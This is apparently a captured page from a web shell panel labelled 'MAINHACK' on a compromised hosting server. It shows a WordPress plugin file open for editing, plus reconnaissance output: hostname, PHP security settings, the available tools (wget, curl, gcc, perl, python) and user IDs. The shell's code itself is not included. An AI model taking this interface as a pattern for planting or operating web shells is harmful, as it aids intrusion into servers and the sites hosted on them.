[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: themebeez-toolkit.php
<?php /** * Plugin Name: Themebeez Toolkit * Plugin URI: https://wordpress.org/plugins/themebeez-toolkit/ * Description: A small toolkit for themes made by www.themebeez.com. This plugin extends themes made by themebeez & adds functionality to import demo data in just a click. * Version: 1.1.9 * Author: themebeez * Author URI: https://themebeez.com * License: GPL-2.0+ * License URI: http://www.gnu.org/licenses/gpl-2.0.txt * Text Domain: themebeez-toolkit * Domain Path: /languages */ // If this file is called directly, abort. if ( ! defined( 'WPINC' ) ) { die; } /** * Currently plugin version. * Start at version 1.0.0 and use SemVer - https://semver.org * Rename this for your plugin and update it as you release new versions. */ define( 'THEMEBEEZTOOLKIT_VERSION', '1.1.9' ); // Define THEMEBEEZTOOLKIT_PLUGIN_FILE. if ( ! defined( 'THEMEBEEZTOOLKIT_PLUGIN_FILE' ) ) { define( 'THEMEBEEZTOOLKIT_PLUGIN_FILE', __FILE__ ); } /** * The code that runs during plugin activation. * This action is documented in includes/class-themebeez-toolkit-activator.php */ function activate_themebeez_toolkit() { require_once plugin_dir_path( __FILE__ ) . 'includes/class-themebeez-toolkit-activator.php'; Themebeez_Toolkit_Activator::activate(); } /** * The code that runs during plugin deactivation. * This action is documented in includes/class-themebeez-toolkit-deactivator.php */ function deactivate_themebeez_toolkit() { require_once plugin_dir_path( __FILE__ ) . 'includes/class-themebeez-toolkit-deactivator.php'; Themebeez_Toolkit_Deactivator::deactivate(); } register_activation_hook( __FILE__, 'activate_themebeez_toolkit' ); register_deactivation_hook( __FILE__, 'deactivate_themebeez_toolkit' ); /** * The core plugin class that is used to define internationalization, * admin-specific hooks, and public-facing site hooks. */ require plugin_dir_path( __FILE__ ) . 'includes/class-themebeez-toolkit.php'; /** * Begins execution of the plugin. * * Since everything within the plugin is registered via hooks, * then kicking off the plugin from this point in the file does * not affect the page life cycle. * * @since 1.0.0 */ function run_themebeez_toolkit() { $plugin = new Themebeez_Toolkit(); $plugin->run(); } run_themebeez_toolkit(); // Include the main Demo Importer class. if ( ! class_exists( 'Themebeez_Demo_Importer' ) ) { include_once dirname( __FILE__ ) . '/includes/demo-importer/class-themebeez-demo-importer.php'; } /** * Main instance of Themebeez_Demo_Importer. * * Returns the main instance of TET to prevent the need to use globals. * * @since 1.0.0 * @return Themebeez_Demo_Importer */ function TT() { return Themebeez_Demo_Importer::instance(); } $theme = themebeez_toolkit_theme(); $themes = themebeez_toolkit_theme_array(); if( $theme->get('Author') === 'themebeez' && in_array( $theme->get('TextDomain'), $themes ) ) { // Global for backwards compatibility. $GLOBALS['themebeez-demo-importer'] = TT(); }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 678.1 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619